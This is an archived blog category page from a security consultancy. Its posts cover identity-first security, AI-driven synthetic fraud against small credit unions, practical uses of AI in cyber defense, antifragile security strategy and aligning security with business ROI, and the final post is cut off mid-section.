Category Archives: How To

Beyond Zero Trust: Identity-First Security Strategies That Actually Reduce Risk in 2026

Posted on by
Reply

A Breach That Didn’t Break In — It Logged In

The email looked routine.

A finance employee received a vendor payment request — well-written, contextually accurate, referencing an actual project. Nothing screamed “phish.” Attached was a short voice note from the CFO explaining the urgency.

The voice sounded right. The cadence, the phrasing — even the subtle impatience.

Moments later, a multi-factor authentication (MFA) prompt appeared. The employee approved it without thinking. They had approved dozens that week. Habit is powerful.

The breach didn’t bypass the firewall.
It didn’t exploit a zero-day vulnerability.
It didn’t even evade detection.

It bypassed identity confidence.

By the time the security team noticed anomalous financial transfers, the attacker had already authenticated, escalated privileges, and pivoted laterally — all using valid credentials.

In 2026, attackers aren’t breaking in.

They’re logging in.

And that reality demands a shift in how we think about security architecture. Zero Trust was a necessary evolution. But in many organizations, it’s stalled at the network layer. Meanwhile, identity has quietly become the primary control plane — and the primary attack surface.

If identity is where trust decisions happen, then identity is where risk must be engineered out.

A hacker is seated in front of a computer fingers poised over the keyboard They are ready to break into a system and gain access to sensitive information 6466041

Zero Trust Isn’t Enough Anymore

Zero Trust began as a powerful principle: “Never trust, always verify.” It challenged perimeter-centric thinking and encouraged segmentation, least privilege, and continuous validation.

But somewhere along the way, it became a marketing label.

Many implementations focus heavily on:

  • Network micro-segmentation

  • VPN replacement

  • Device posture checks

  • SASE rollouts

All valuable. None sufficient.

Because identity remains the weakest link.

AI Has Changed the Identity Battlefield

Attackers now leverage AI to:

  • Craft highly personalized spear phishing emails

  • Generate convincing deepfake audio and video impersonations

  • Launch MFA fatigue campaigns at scale

  • Automate credential stuffing with adaptive logic

The tools available to adversaries have industrialized social engineering.

Push-based MFA, once considered strong protection, is now routinely abused through prompt bombing. Deepfake impersonation erodes human intuition. Credential reuse remains rampant.

Perimeter thinking has died.
Device-centric thinking is incomplete.
Identity is now the primary control plane.

If identity is the new perimeter, it must be treated like critical infrastructure — not a checkbox configuration in your IAM console.

The Identity-First Security Framework

An identity-first strategy doesn’t abandon Zero Trust. It operationalizes it — with identity at the center of risk reduction.

Below are five pillars that move identity from access management to risk engineering.

Pillar 1: Reduce the Identity Attack Surface

A simple Pareto principle applies:

20% of identities create 80% of risk.

Privileged users. Service accounts. Automation tokens. Executive access. CI/CD credentials.

The first step isn’t detection. It’s reduction.

Actions

  • Inventory all identities — human and machine

  • Eliminate dormant accounts

  • Reduce standing privileges

  • Enforce just-in-time (JIT) access for elevated roles

Standing privilege is latent risk. Every persistent admin account is a pre-approved breach path.

Metrics That Matter

  • Percentage of privileged accounts

  • Average privilege duration

  • Dormant account count

  • Privileged access review frequency

Organizations that aggressively reduce identity sprawl see measurable decreases in lateral movement potential.

Reducing exposure is step one.
Validating behavior is step two.

Pillar 2: Continuous Identity Verification — Not Just MFA

MFA is necessary. It is no longer sufficient.

Push-based MFA fatigue attacks are common. Static authentication events assume trust after login. Attackers exploit both.

We must shift from event-based authentication to session-based validation.

Move Beyond:

  • Blind push approvals

  • Static login checks

  • Binary allow/deny thinking

Add:

  • Risk-based authentication

  • Device posture validation

  • Behavioral biometrics

  • Continuous session monitoring

Attackers use AI to simulate legitimacy.
Defenders must use AI to detect deviation.

Useful Metrics

  • MFA approval anomaly rate

  • Impossible travel detections

  • Session risk score trends

  • High-risk login percentage

Authentication should not be a moment. It should be a monitored process.

Pillar 3: Identity Telemetry & Behavioral Baselines

First-principles thinking:
What is compromise?

It is behavior deviation.

A legitimate user logging in from a new country at 3:00 a.m. and accessing sensitive financial systems may have valid credentials — but invalid behavior.

Implementation Steps

  • Build per-role behavioral baselines

  • Track privilege escalation attempts

  • Integrate IAM logs into SOC workflows

  • Correlate identity data with endpoint and cloud telemetry

Second-order thinking matters here.

More alerts without tuning leads to burnout.

Identity alerts must be high-confidence. Behavioral models must understand role context, not just user anomalies.

Security teams should focus on detecting intent signals — not just login events.

Pillar 4: Machine Identity Governance

Machine identities often outnumber human identities in cloud-native environments.

Consider:

  • Service accounts

  • API tokens

  • Certificates

  • CI/CD pipeline credentials

  • Container workload identities

AI-powered attackers increasingly target automation keys. They know that compromising a service account can provide persistent, stealthy access.

Critical Actions

  • Automatically rotate secrets

  • Shorten token lifetimes

  • Continuously scan repositories for hardcoded credentials

  • Enforce workload identity controls

Key Metrics

  • Average token lifespan

  • Hardcoded secret discovery rate

  • Machine identity inventory completeness

  • Unused service account count

Machine identities do not get tired. They also do not question unusual requests.

That makes them both powerful and dangerous.

Pillar 5: Identity Incident Response Playbooks

Identity compromise spreads faster than traditional breaches because authentication grants implicit trust.

Incident response must evolve accordingly.

Include in Playbooks:

  • Immediate token invalidation

  • Automated session termination

  • Privilege rollback

  • Identity forensics logging

  • Rapid behavioral reassessment

Identity Maturity Model

Level Capability
Level 1 MFA + Basic IAM
Level 2 JIT Access + Risk-based authentication
Level 3 Behavioral detection + Machine identity governance
Level 4 Autonomous identity containment

The future state is not manual triage.

It is autonomous identity containment.

Implementation Roadmap

Transformation does not require a multi-year overhaul. It requires disciplined sequencing.

First 30 Days

  • Conduct a full identity inventory audit

  • Launch a privilege reduction sprint

  • Review MFA configurations and eliminate push-only dependencies

  • Identify dormant and orphaned accounts

Immediate wins come from subtraction.

First 90 Days

  • Deploy risk-based authentication policies

  • Integrate identity telemetry into SOC workflows

  • Begin machine identity governance initiatives

  • Establish behavioral baselines for high-risk roles

Security operations and IAM teams must collaborate here.

Six-Month Horizon

  • Implement behavioral AI modeling

  • Automate session risk scoring

  • Deploy automated identity containment workflows

  • Establish executive reporting on identity risk metrics

Identity becomes measurable. Measurable becomes manageable.

Real-World Examples

Example 1: Privilege Reduction

One enterprise reduced privileged accounts by 42%. The measurable result: significant reduction in lateral movement pathways and faster containment during simulated breach exercises.

Example 2: MFA Fatigue Prevention

A financial services firm detected abnormal MFA approval timing patterns. Session anomaly detection flagged behavior inconsistent with historical norms. The attack was stopped before funds were transferred.

The lesson: behavior, not just credentials, determines legitimacy.

Measurable Outcomes

Identity Control Risk Reduced Measurement Method
JIT Privilege Lateral movement Privilege duration logs
Risk-based MFA Phishing success Approval anomaly rate
Token rotation Credential abuse Token age metrics
Behavioral baselines Account takeover Session deviation scores
Machine identity inventory Automation abuse Service account audits

Security leaders must shift from tool counts to risk-reduction metrics.

Identity Is the New Control Plane

Attackers scale with AI.

They automate reconnaissance. They generate deepfake executives. They weaponize credentials at industrial scale.

Defenders must scale identity intelligence.

In 2026, the organizations that win will not be those with the most tools. They will be those who understand that identity is infrastructure.

Firewalls inspect traffic.
Endpoints enforce policy.
Identity determines authority.

And authority is what attackers want.

Zero Trust was the beginning. Identity-first security is the evolution.

The question is no longer whether your users are inside the perimeter.

The question is whether your identity architecture assumes breach — and contains it automatically.

Info & Help: Advancing Your Identity Strategy

Identity-first security is not a product deployment. It is an operational discipline.

If your organization is:

  • Struggling with privilege sprawl

  • Experiencing MFA fatigue attempts

  • Concerned about AI-driven impersonation

  • Lacking visibility into machine identities

  • Unsure how to measure identity risk

The team at MicroSolved, Inc. can help.

For over three decades, MicroSolved has assisted enterprises, financial institutions, healthcare providers, and critical infrastructure organizations in strengthening identity governance, incident response readiness, and security operations maturity.

Our services include:

  • Identity risk assessments

  • Privileged access reviews

  • IAM architecture design

  • SOC integration and telemetry tuning

  • Incident response planning and tabletop exercises

If identity is your new control plane, it deserves engineering rigor.

Reach out to MicroSolved to discuss how to reduce measurable identity risk — not just deploy another control.

Security is no longer about keeping attackers out.

It’s about making sure that when they log in, they don’t get far.

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Defending Small Credit Unions in the Age of AI-Driven Synthetic Fraud

Posted on by
Reply

We’ve seen fraud evolve before. We’ve weathered phishing, credential stuffing, card skimming, and social engineering waves—but what’s coming next makes all of that look like amateur hour. According to Experian and recent security forecasting, we’re entering a new fraud era. One where AI-driven agents operate autonomously, build convincing synthetic identities at scale, and mount adaptive, shape-shifting attacks that traditional defenses can’t keep up with.

For small credit unions and community banks, this isn’t a hypothetical future—it’s an urgent call to action.

SecureVault

The Rise of Synthetic Realities

Criminals are early adopters of innovation. Always have been. But now, 80% of observed autonomous AI agent use in cyberattacks is originating from criminal groups. These aren’t script kiddies with GPT wrappers—these are fully autonomous fraud agents, built to execute entire attack chains from data harvesting to cash-out, all without human intervention.

They’re using the vast stores of breached personal data to forge synthetic identities that are indistinguishable from real customers. The result? Hyper-personalized phishing, credential takeovers, and fraudulent accounts that slip through onboarding and authentication checks like ghosts.

Worse yet, quantum computing is looming. And with it, the shift from “break encryption” to “harvest now, decrypt later” is already in motion. That means data stolen today—unencrypted or encrypted with current algorithms—could be compromised retroactively within a decade or less.

So what can small institutions do? You don’t have the budget of a multinational bank, but that doesn’t mean you’re defenseless.

Three Moves Every Credit Union Must Make Now

1. Harden Identity and Access Controls—Everywhere

This isn’t just about enforcing MFA anymore. It’s about enforcing phishing-resistant MFA. That means FIDO2, passkeys, hardware tokens—methods that don’t rely on SMS or email, which are easily phished or intercepted.

Also critical: rethink your workflows around high-risk actions. Wire transfers, account takeovers, login recovery flows—all of these should have multi-layered checks that include risk scoring, device fingerprinting, and behavioral cues.

And don’t stop at customers. Internal systems used by staff and contractors are equally vulnerable. Compromising a teller or loan officer’s account could give attackers access to systems that trust them implicitly.

2. Tune Your Own Data for AI-Driven Defense

You don’t need a seven-figure fraud platform to start detecting anomalies. Use what you already have: login logs, device info, transaction patterns, location data. There are open-source and affordable ML tools that can help you baseline normal activity and alert on deviations.

But even better—don’t fight alone. Join information-sharing networks like FS-ISAC, InfraGard, or sector-specific fraud intel circles. The earlier you see a new AI phishing campaign or evolving shape-shifting malware variant, the better chance you have to stop it before it hits your members.

3. Start Your “Future Threats” Roadmap Today

You can’t wait until quantum breaks RSA to think about your crypto. Inventory your “crown jewel” data—SSNs, account histories, loan documents—and start classifying which of that needs to be protected even after it’s been stolen. Because if attackers are harvesting now to decrypt later, you’re already in the game whether you like it or not.

At the same time, tabletop exercises should evolve. No more pretending ransomware is the worst-case. Simulate a synthetic ID scam that drains multiple accounts. Roleplay a deepfake CEO fraud call to your CFO. Put AI-enabled fraud on the whiteboard and walk your board through the response.

Final Thoughts: Small Can Still Mean Resilient

Small institutions often pride themselves on their close member relationships and nimbleness. That’s a strength. You can spot strange behavior sooner. You can move faster than a big bank on policy changes. And you can build security into your culture—where it belongs.

But you must act deliberately. AI isn’t waiting, and quantum isn’t slowing down. The criminals have already adapted. It’s our turn.

Let’s not be the last to see the fraud that’s already here.

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

AI in Cyber Defense: What Works Today vs. What’s Hype

Posted on by
Reply

Practical Deployment Paths

Artificial Intelligence is no longer a futuristic buzzword in cybersecurity — it’s here, and defenders are being pressured on all sides: vendors pushing “AI‑enabled everything,” adversaries weaponizing generative models, and security teams trying to sort signal from noise. But the truth matters: mature security teams need clarity, realism, and practicable steps, not marketing claims or theoretical whitepapers that never leave the lab.

The Pain Point: Noise > Signal

Security teams are drowning in bold AI vendor claims, inflated promises of autonomous SOCs, and feature lists that promise effortless detection, response, and orchestration. Yet:

  • Budgets are tight.

  • Societies face increasing threats.

  • Teams lack measurable ROI from expensive, under‑deployed proof‑of‑concepts.

What’s missing is a clear taxonomy of what actually works today — and how to implement it in a way that yields measurable value, with metrics security leaders can trust.

AISecImage

The Reality Check: AI Works — But Not Magically

It’s useful to start with a grounding observation: AI isn’t a magic wand.
When applied properly, it does elevate security outcomes, but only with purposeful integration into existing workflows.

Across the industry, practical AI applications today fall into a few consistent categories where benefits are real and demonstrable:

1. Detection and Triage

AI and machine learning are excellent at analyzing massive datasets to identify patterns and anomalies across logs, endpoint telemetry, and network traffic — far outperforming manual review at scale. This reduces alert noise and helps prioritize real threats. 

Practical deployment path:

  • Integrate AI‑enhanced analytics into your SIEM/XDR.

  • Focus first on anomaly detection and false‑positive reduction — not instant response automation.

Success metrics to track:

  • False positive rate reduction

  • Mean Time to Detect (MTTD)

2. Automated Triage & Enrichment

AI can enrich alerts with contextual data (asset criticality, identity context, threat intelligence) and triage them so analysts spend time on real incidents. 

Practical deployment path:

  • Connect your AI engine to log sources and enrichment feeds.

  • Start with automated triage and enrichment before automation of response.

Success metrics to track:

  • Alerts escalated vs alerts suppressed

  • Analyst workload reduction

3. Accelerated Incident Response Workflows

AI can power playbooks that automate parts of incident handling — not the entire response — such as containment, enrichment, or scripted remediation tasks. 

Practical deployment path:

  • Build modular SOAR playbooks that call AI models for specific tasks, not full control.

  • Always keep a human‑in‑the‑loop for high‑impact decisions.

Success metrics to track:

  • Reduced Mean Time to Respond (MTTR)

  • Accuracy of automated actions

What’s Hype (or Premature)?

While some applications are working today, others are still aspirational or speculative:

❌ Fully Autonomous SOCs

Vendor claims of SOC teams run entirely by AI that needs minimal human oversight are overblown at present. AI excels at assistance, not autonomous defense decision‑making without human‑in‑the‑loop review. 

❌ Predictive AI That “Anticipates All Attacks”

There are promising approaches in predictive analytics, but true prediction of unknown attacks with high fidelity is still research‑oriented. Real‑world deployments rarely provide reliable predictive control without heavy contextual tuning. 

❌ AI Agents With Full Control Over Remediations

Agentic AI — systems that take initiative across environments — are an exciting frontier, but their use in live environments remains early and risk‑laden. Expectations about autonomous agents running response workflows without strict guardrails are unrealistic (and risky). 

A Practical AI Use Case Taxonomy

A clear taxonomy helps differentiate today’s practical uses from tomorrow’s hype. Here’s a simple breakdown:

Category What Works Today Implementation Maturity
Detection Anomaly/Pattern detection in logs & network Mature
Triage & Enrichment Alert prioritization & context enrichment Mature
Automation Assistance Scripted, human‑supervised response tasks Growing
Predictive Intelligence Early insights, threat trend forecasting Emerging
Autonomous Defense Agents Research & controlled pilot only Experimental

Deployment Playbooks for 3 Practical Use Cases

1️⃣ AI‑Enhanced Log Triage

  • Objective: Reduce analyst time spent chasing false positives.

  • Steps:

    1. Integrate machine learning models into SIEM/XDR.

    2. Tune models on historical data.

    3. Establish feedback loops so analysts refine model behaviors.

  • Key metric: ROC curve for alert accuracy over time.

2️⃣ Phishing Detection & Response

  • Objective: Catch sophisticated phishing that signature engines miss.

  • Steps:

    1. Deploy NLP‑based scanning on inbound email streams.

    2. Integrate with threat intelligence and URL reputation sources.

    3. Automate quarantine actions with human review.

  • Key metric: Reduction in phishing click‑throughs or simulated phishing failure rates.

3️⃣ SOAR‑Augmented Incident Response

  • Objective: Speed incident handling with reliable automation segments.

  • Steps:

    1. Define response playbooks for containment and enrichment.

    2. Integrate AI for contextual enrichment and prioritization.

    3. Ensure manual checkpoints before broad remediation actions.

  • Key metric: MTTR before/after SOAR‑AI implementation.

Success Metrics That Actually Matter

To beat the hype, track metrics that tie back to business outcomes, not vendor marketing claims:

  • MTTD (Mean Time to Detect)

  • MTTR (Mean Time to Respond)

  • False Positive/Negative Rates

  • Analyst Productivity Gains

  • Time Saved in Triage & Enrichment

Lessons from AI Deployment Failures

Across the industry, failed AI deployments often stem from:

  • Poor data quality: Garbage in, garbage out. AI needs clean, normalized, enriched data. 

  • Lack of guardrails: Deploying AI without human checkpoints breeds costly mistakes.

  • Ambiguous success criteria: Projects without business‑aligned ROI metrics rarely survive.

Conclusion: AI Is an Accelerator, Not a Replacement

AI isn’t a threat to jobs — it’s a force multiplier when responsibly integrated. Teams that succeed treat AI as a partner in routine tasks, not an oracle or autonomous commander. With well‑scoped deployment paths, clear success metrics, and human‑in‑the‑loop guardrails, AI can deliver real, measurable benefits today — even as the field continues to evolve.

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Antifragility in the Age of Cyber Extremistan

Posted on by
Reply

Why Building Cybersecurity Like the Human Immune System Is the Only Strategy That Survives the Unknown

Unnamed 4

We don’t live in “Mediocristan” anymore.

In the controlled world of Gaussian curves and predictable outcomes, most security strategies make sense—if you’re still living in the realm where human height and blood pressure are your biggest threats. But for cybersecurity practitioners, the real world looks more like “Extremistan”—the place where Black Swan events dominate, where a single breach can wipe out decades of effort, and where average behavior is not just irrelevant, it’s dangerously misleading.

That’s the world Nassim Taleb described in The Black Swan, and it’s the reality we live in every day as defenders of digital infrastructure.

And if you’re using traditional models to manage cyber risk in this world, you’re probably optimizing for failure.

From Robust to Antifragile: Why Survival Isn’t Enough

Taleb coined the term antifragile to describe systems that don’t just resist chaos—they improve because of it. It’s the difference between a glass that doesn’t break and a muscle that gets stronger after lifting heavy weight. Most security programs are designed to be robust—resilient under stress. But that’s not enough. Resilience still assumes a limit. Once you pass the red line, you break.

To thrive in Extremistan, we need to design systems that learn from stress, that benefit from volatility, and that get stronger every time they get punched in the face.

1. Security by Subtraction (Via Negativa)

In medicine, there’s a term called iatrogenics—harm caused by the treatment itself. Sound familiar? That’s what happens when a security stack becomes so bloated with overlapping agents, dashboards, and tools that it becomes its own attack surface.

Antifragile security starts with subtraction:

  • Decommission Legacy: Every unmonitored web server from 2009 you forgot about is a potential ruin event.

  • Minimize Privilege: If your domain admin group has more people than your bowling team, you’re in trouble.

  • Simplify, Aggressively: Complexity is fragility disguised as maturity.

Less isn’t just more—it’s safer.

2. Controlled Stressors: Hormesis for Systems

An immune system kept in a bubble weakens. One that’s constantly challenged becomes elite. The same goes for cyber defenses.

  • Red Teams as Immune Response Training: Stop treating red teams as adversaries. They’re your vaccine.

  • Chaos Engineering: Don’t just test recovery—induce failure. Intentionally break things. Break them often. Learn faster than your adversaries.

  • Study the Misses: Every alert that almost mattered is gold dust. Train on it.

This isn’t about drills. It’s about muscle memory.

3. The Barbell Strategy: Secure Boring + Wild Bets

One of Taleb’s more underappreciated ideas is the barbell strategy: extreme conservatism on one end, high-risk/high-reward exploration on the other. Nothing in the middle.

  • 90%: Lock down the basics. IG1 controls. Patching. Backups. Privilege minimization. The boring stuff that wins wars.

  • 10%: Invest in weird, bleeding-edge experiments. Behavioral traps. Decoy data. Offensive ML. This is your lab.

Never bet on “average” security tools. That’s how you end up with a little risk everywhere—and a big hole somewhere you didn’t expect.

4. Skin in the Game: Incentives That Matter

When the people making decisions don’t bear the cost of failure, systems rot from within.

  • Vendors Must Own Risk: If your EDR vendor can disclaim all liability for failure, they’ve got no skin in your game.

  • On-Call Developers: If they wrote the code, they stay up with it. The best SLAs are fear and pride.

  • Risk-Based Compensation: CISOs must have financial incentives tied to post-incident impact, not checkbox compliance.

Fragility flourishes in environments where blame is diffuse and consequences are someone else’s problem.

5. Tail Risk and the Absorbing Barrier

Most CIS frameworks are built to mitigate average risk. But in Extremistan, ruin is what you plan for. The difference? A thousand phishing attempts don’t matter if one spear phish opens the gates.

  • Design for Blast Radius: Assume breach. Isolate domains. Install circuit breakers in your architecture.

  • Plan for the Unseen: Run tabletop exercises where the scenario doesn’t exist in your IR plan. If that makes your team uncomfortable, you’re doing it right.

  • Offline Backups Are Sacred: If they touch the internet, they’re not a backup—they’re bait.

There are no do-overs after ruin.

6. Beware the Turkey Problem

A turkey fed every day believes the butcher loves him—until Thanksgiving. A network with zero incidents for three years might just be a turkey.

  • Continuous Validation, Not Annual Audits: Trust your controls as much as you test them.

  • Negative Empiricism: Don’t learn from the shiny success story. Learn from the company that got wrecked.

You are not safe because nothing has happened. You are safe when you have survived what should have killed you.

Unnamed 6

Closing Thought: Security as Immune System, Not Armor

If you’re still thinking of your security stack as armor—hard shell, resist all—you’re already brittle. Instead, think biology. Think immune system. Think antifragility.

Expose your system to small, survivable threats. Learn from every wound. Build muscle. Be lean, not large. Be hard to kill, not hard to touch.

In a world governed by Extremistan, the best cybersecurity strategy isn’t to avoid failure—it’s to get stronger every time you fail.

Because someday, something will break through. The question is—will you be better afterward, or gone completely?

 

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Identity Security Is Now the #1 Attack Vector — and Most Organizations Are Not Architected for It

Posted on by
Reply

How identity became the new perimeter

In 2025, identity is no longer simply a control at the edge of your network — it is the perimeter. As organizations adopt SaaS‑first strategies, hybrid work, remote access, and cloud identity federation, the traditional notion of network perimeter has collapsed. What remains is the identity layer — and attackers know it.

Today’s breaches often don’t involve malware, brute‑force password cracking, or noisy exploits. Instead, adversaries leverage stolen tokens, hijacked sessions, and compromised identity‑provider (IdP) infrastructure — all while appearing as legitimate users.

SyntheticID

That shift makes identity security not just another checkbox — but the foundation of enterprise defense.

Failure points of modern identity stacks

Even organizations that have deployed defenses like multi‑factor authentication (MFA), single sign‑on (SSO), and conditional access policies often remain vulnerable. Why? Because many identity architectures are:

  • Overly permissive — long‑lived tokens, excessive scopes, and flat permissioning.

  • Fragmented — identity data is scattered across IdPs, directories, cloud apps, and shadow IT.

  • Blind to session risk — session tokens are often unmonitored, allowing token theft and session hijacking to go unnoticed.

  • Incompatible with modern infrastructure — legacy IAMs often can’t handle dynamic, cloud-native, or hybrid environments.

In short: you can check off MFA, SSO, and PAM, and still be wide open to identity‑based compromise.

Token‑based attack: A walkthrough

Consider this realistic scenario:

  1. An employee logs in using SSO. The browser receives a token (OAuth or session cookie).

  2. A phishing attack — or adversary-in-the-middle (AiTM) — captures that token after the user completes MFA.

  3. The attacker imports the token into their browser and now impersonates the user — bypassing MFA.

  4. The attacker explores internal SaaS tools, installs backdoor OAuth apps, and escalates privileges — all without tripping alarms.

A single stolen token can unlock everything.

Building identity security from first principles

The modern identity stack must be redesigned around the realities of today’s attacks:

  • Identity is the perimeter — access should flow through hardened, monitored, and policy-enforced IdPs.

  • Session analytics is a must — don’t just authenticate at login. Monitor behavior continuously throughout the session.

  • Token lifecycle control — enforce short token lifetimes, minimize scopes, and revoke unused sessions immediately.

  • Unify the view — consolidate visibility across all human and machine identities, across SaaS and cloud.

How to secure identity for SaaS-first orgs

For SaaS-heavy and hybrid-cloud organizations, these practices are key:

  • Use a secure, enterprise-grade IdP

  • Implement phishing-resistant MFA (e.g., hardware keys, passkeys)

  • Enforce context-aware access policies

  • Monitor and analyze every identity session in real time

  • Treat machine identities as equal in risk and value to human users

Blueprint: continuous identity hygiene

Use systems thinking to model identity as an interconnected ecosystem:

  • Pareto principle — 20% of misconfigurations lead to 80% of breaches.

  • Inversion — map how you would attack your identity infrastructure.

  • Compounding — small permissions or weak tokens can escalate rapidly.

Core practices:

  • Short-lived tokens and ephemeral access

  • Just-in-time and least privilege permissions

  • Session monitoring and token revocation pipelines

  • OAuth and SSO app inventory and control

  • Unified identity visibility across environments

30‑Day Identity Rationalization Action Plan

Day Action
1–3 Inventory all identities — human, machine, and service.
4–7 Harden your IdP; audit key management.
8–14 Enforce phishing-resistant MFA organization-wide.
15–18 Apply risk-based access policies.
19–22 Revoke stale or long-lived tokens.
23–26 Deploy session monitoring and anomaly detection.
27–30 Audit and rationalize privileges and unused accounts.

More Information

If you’re unsure where to start, ask these questions:

  • How many active OAuth grants are in our environment?

  • Are we monitoring session behavior after login?

  • When was the last identity privilege audit performed?

  • Can we detect token theft in real time?

If any of those are difficult to answer — you’re not alone. Most organizations aren’t architected to handle identity as the new perimeter. But the gap between today’s risks and tomorrow’s solutions is closing fast — and the time to address it is now.

Help from MicroSolved, Inc.

At MicroSolved, Inc., we’ve helped organizations evolve their identity security models for more than 30 years. Our experts can:

  • Audit your current identity architecture and token hygiene

  • Map identity-related escalation paths

  • Deploy behavioral identity monitoring and continuous session analytics

  • Coach your team on modern IAM design principles

  • Build a 90-day roadmap for secure, unified identity operations

Let’s work together to harden identity before it becomes your organization’s softest target. Contact us at microsolved.com to start your identity security assessment.

References

  1. BankInfoSecurity – “Identity Under Siege: Enterprises Are Feeling It”

  2. SecurityReviewMag – “Identity Security in 2025”

  3. CyberArk – “Lurking Threats in Post-Authentication Sessions”

  4. Kaseya – “What Is Token Theft?”

  5. CrowdStrike – “Identity Attacks in the Wild”

  6. Wing Security – “How to Minimize Identity-Based Attacks in SaaS”

  7. SentinelOne – “Identity Provider Security”

  8. Thales Group – “What Is Identity Security?”

  9. System4u – “Identity Security in 2025: What’s Evolving?”

  10. DoControl – “How to Stop Compromised Account Attacks in SaaS”

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Racing Ahead of the AI‑Driven Cyber Arms Race

Posted on by
Reply

Introduction

The cyber-threat landscape is shifting under our feet. Attacker tools powered by artificial intelligence (AI) and generative AI (Gen AI) are accelerating vulnerability discovery and exploitation, outpacing many traditional defence approaches. Organisations that delay adaptation risk being overtaken by adversaries. According to recent reporting, nearly half of organisations identify adversarial Gen AI advances as a top concern. With this blog, I walk through the current threat landscape, spotlight key attack vectors, explore defensive options, examine critical gaps, and propose a roadmap that security leaders should adopt now.

The Landscape: Vulnerabilities, AI Tools, and the Adversary Advantage

Attackers now exploit a converging set of forces: an increasing rate of disclosed vulnerabilities, the wide availability of AI/ML-based tools for crafting attacks, and automation that scales old-school tactics into far greater volume. One report notes 16% of reported incidents involved attackers leveraging AI tools like language or image generation models. Meanwhile, researchers warn that AI-generated threats could make up to 50% of all malware by 2025. Gen AI is now a game-changer for both attackers and defenders.

The sheer pace of vulnerability disclosure also matters. The more pathways available, the more that automation + AI can do damage. Gen AI will be the top driver of cybersecurity in 2024 and beyond—both for malicious actors and defenders.

The baseline for attackers is being elevated. The attacker toolkit is becoming smarter, faster and more scalable. Defenders must keep up — or fall behind.

Specific Threat Vectors to Watch

Deepfakes & Social Engineering

Realistic voice- and video-based deepfakes are no longer novel. They are entering the mainstream of social engineering campaigns. Gen AI enables image and language generation that significantly boosts attacker credibility.

Automated Spear‑Phishing & AI‑Assisted Content Generation

Attackers use Gen AI tools to generate personalised, plausible phishing lures and malicious payloads. LLMs make phishing scalable and more effective, turning what used to take hours into seconds.

Supply Chain & Model/API Exploitation

Third-party AI or ML services introduce new risks—prompt-injection, insecure model APIs, and adversarial data manipulation are all growing threats.

Polymorphic Malware & AI Evasion

AI now drives polymorphic malware capable of real-time mutation, evading traditional static defences. Reports cite that over 75% of phishing campaigns now include this evasion technique.

Defensive Approaches: What’s Working?

AI/ML for Detection and Response

Defenders are deploying AI for behaviour analytics, anomaly detection, and real-time incident response. Some AI systems now exceed 98% detection rates in high-risk environments.

Continuous Monitoring & Automation

Networks, endpoints, cloud workloads, and AI interactions must be continuously monitored. Automation enables rapid response at machine speed.

Threat Intelligence Platforms

These platforms enhance proactive defence by integrating real-time adversary TTPs into detection engines and response workflows.

Bug Bounty & Vulnerability Disclosure Programs

Crowdsourcing vulnerability detection helps organisations close exposure gaps before adversaries exploit them.

Challenges & Gaps in Current Defences

  • Many organisations still cannot respond at Gen AI speed.

  • Defensive postures are often reactive.

  • Legacy tools are untested against polymorphic or AI-powered threats.

  • Severe skills shortages in AI/cybersecurity crossover roles.

  • Data for training defensive models is often biased or incomplete.

  • Lack of governance around AI model usage and security.

Roadmap: How to Get Ahead

  1. Pilot AI/Automation – Start with small, measurable use cases.

  2. Integrate Threat Intelligence – Especially AI-specific adversary techniques.

  3. Model AI/Gen AI Threats – Include prompt injection, model misuse, identity spoofing.

  4. Continuous Improvement – Track detection, response, and incident metrics.

  5. Governance & Skills – Establish AI policy frameworks and upskill the team.

  6. Resilience Planning – Simulate AI-enabled threats to stress-test defences.

Metrics That Matter

  • Time to detect (TTD)

  • Number of AI/Gen AI-involved incidents

  • Mean time to respond (MTTR)

  • Alert automation ratio

  • Dwell time reduction

Conclusion

The cyber-arms race has entered a new era. AI and Gen AI are force multipliers for attackers. But they can also become our most powerful tools—if we invest now. Legacy security models won’t hold the line. Success demands intelligence-driven, AI-enabled, automation-powered defence built on governance and metrics.

The time to adapt isn’t next year. It’s now.

More Information & Help

At MicroSolved, Inc., we help organisations get ahead of emerging threats—especially those involving Gen AI and attacker automation. Our capabilities include:

  • AI/ML security architecture review and optimisation

  • Threat intelligence integration

  • Automated incident response solutions

  • AI supply chain threat modelling

  • Gen AI table-top simulations (e.g., deepfake, polymorphic malware)

  • Security performance metrics and strategy advisory

Contact Us:
🌐 microsolved.com
📧 info@microsolved.com
📞 +1 (614) 423‑8523

References

  1. IBM Cybersecurity Predictions for 2025

  2. Mayer Brown, 2025 Cyber Incident Trends

  3. WEF Global Cybersecurity Outlook 2025

  4. CyberMagazine, Gen AI Tops 2025 Trends

  5. Gartner Cybersecurity Trends 2025

  6. Syracuse University iSchool, AI in Cybersecurity

  7. DeepStrike, Surviving AI Cybersecurity Threats

  8. SentinelOne, Cybersecurity Statistics 2025

  9. Ahi et al., LLM Risks & Roadmaps, arXiv 2506.12088

  10. Lupinacci et al., Agent-based AI Attacks, arXiv 2507.06850

  11. Wikipedia, Prompt Injection

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Aligning Cybersecurity with Business Objectives & ROI

Posted on by
Reply

Why the C-Suite must hear more than “We blocked X threats.”

Problem statement

Security teams around the world face a persistent challenge: articulating the value of cybersecurity in business terms—and thereby justifying budget and ROI. Too often the story falls into the “we reduced vulnerabilities” or “we blocked attacks” bucket, which resonates with the technical team—but not with the board, the CFO, or the business units. The result: under‑investment or misalignment of security with business goals.

In an era of tighter budgets and competing priorities, this gap has become urgent. Framing cybersecurity as a cost centre invites cuts; framing it as a business enabler invites investment.

Why business alignment matters

When security operates in a silo—focused purely on threats, alerts, tools—the conversation stays technical. But business leaders speak different language: revenue, growth, brand, customer trust. A recent analysis found that fewer than half of security organisations can tie controls to business impacts.

Misalignment leads to several risks:

  • Security investments that don’t map to the assets or processes that drive business value.

  • Metrics that matter to the security team but not to executives (e.g., number of vulnerabilities patched).

  • A perception of security as an overhead rather than a strategic lever.

  • Vulnerability to budget cuts or being deprioritised when executive attention shifts.

By aligning security with business objectives—whether that’s enabling cloud transformation, protecting key revenue streams, or ensuring operational continuity—security becomes part of the value chain, not just the defence chain.

Translating threat/risk into business impacts

One of the central tasks for today’s security leader is translation. It’s not enough to know that a breach could occur—it’s about articulating “if this happens, here’s what it cost the business.”

